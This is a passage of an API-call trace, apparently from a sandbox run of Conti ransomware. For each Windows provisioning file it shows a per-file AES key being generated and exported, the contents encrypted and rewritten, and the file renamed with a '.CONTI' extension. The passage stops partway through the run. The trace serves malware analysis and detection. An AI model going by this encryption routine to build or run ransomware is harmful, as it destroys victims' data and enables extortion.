	[0107.179] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0107.179] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.179] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.179] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.179] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.179] WriteFile (in: hFile=0x3c4, lpBuffer=0x6512774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x6512774*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.181] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.181] ReadFile (in: hFile=0x3c4, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2cb, lpOverlapped=0x0) returned 1
	[0107.181] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2cb, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0107.181] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.181] WriteFile (in: hFile=0x3c4, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.182] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.182] WriteFile (in: hFile=0x3c4, lpBuffer=0x6512768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x6512768*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.182] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.182] CloseHandle (hObject=0x3c4) returned 1
	[0107.183] GetProcessHeap () returned 0x1720000
	[0107.183] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.186] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml"
	[0107.186] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.186] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.186] GetProcessHeap () returned 0x1720000
	[0107.186] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.186] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.186] GetProcessHeap () returned 0x1720000
	[0107.186] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca718 | out: hHeap=0x1720000) returned 1
	[0107.186] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.186] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65132d8 | out: phKey=0x65132d8*=0x17c81b0) returned 1
	[0107.186] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65132dc, pdwDataLen=0x59bf7d4 | out: pbData=0x65132dc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.864] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.869] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc
	[0107.869] GetLastError () returned 0x0
	[0107.869] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=652) returned 1
	[0107.869] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28c
	[0107.869] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.869] SetEndOfFile (hFile=0x3bc) returned 1
	[0107.869] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.869] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.869] WriteFile (in: hFile=0x3bc, lpBuffer=0x65132dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65132dc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.916] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.916] ReadFile (in: hFile=0x3bc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x28c, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x28c, lpOverlapped=0x0) returned 1
	[0107.916] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x28c, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x290) returned 1
	[0107.916] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.916] WriteFile (in: hFile=0x3bc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x290, lpOverlapped=0x0) returned 1
	[0107.917] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.917] WriteFile (in: hFile=0x3bc, lpBuffer=0x65132d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65132d0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.917] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.917] CloseHandle (hObject=0x3bc) returned 1
	[0107.917] GetProcessHeap () returned 0x1720000
	[0107.917] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.917] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml"
	[0107.917] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.917] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.918] GetProcessHeap () returned 0x1720000
	[0107.918] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.918] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0107.918] GetProcessHeap () returned 0x1720000
	[0107.918] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9a48 | out: hHeap=0x1720000) returned 1
	[0107.918] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.918] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x17c81b0) returned 1
	[0107.918] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x59bf7d4 | out: pbData=0x17d3d64*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.919] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0107.920] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc
	[0107.920] GetLastError () returned 0x0
	[0107.920] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=480) returned 1
	[0107.920] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0107.920] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.920] SetEndOfFile (hFile=0x3bc) returned 1
	[0107.921] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.921] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.921] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.923] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.923] ReadFile (in: hFile=0x3bc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x1e0, lpOverlapped=0x0) returned 1
	[0107.923] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1e0, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1f0) returned 1
	[0107.923] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.923] WriteFile (in: hFile=0x3bc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x1f0, lpOverlapped=0x0) returned 1
	[0107.923] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.923] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.923] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.923] CloseHandle (hObject=0x3bc) returned 1
	[0107.923] GetProcessHeap () returned 0x1720000
	[0107.923] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.923] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.923] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0107.923] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0107.924] GetProcessHeap () returned 0x1720000
	[0107.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.924] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0107.924] GetProcessHeap () returned 0x1720000
	[0107.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e860 | out: hHeap=0x1720000) returned 1
	[0107.924] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0107.924] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c81b0) returned 1
	[0107.924] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x59bf7d4 | out: pbData=0x17d3fac*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0107.925] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.925] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc
	[0107.925] GetLastError () returned 0x0
	[0107.925] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=851) returned 1
	[0107.925] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0107.925] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.925] SetEndOfFile (hFile=0x3bc) returned 1
	[0107.926] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.926] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.926] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.927] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.927] ReadFile (in: hFile=0x3bc, lpBuffer=0x11200000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x353, lpOverlapped=0x0) returned 1
	[0107.927] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x353, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x360) returned 1
	[0107.928] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.928] WriteFile (in: hFile=0x3bc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x360, lpOverlapped=0x0) returned 1
	[0107.928] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.928] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0107.928] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.928] CloseHandle (hObject=0x3bc) returned 1
	[0107.928] GetProcessHeap () returned 0x1720000
	[0107.928] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.928] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml"
	[0107.928] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.CONTI"
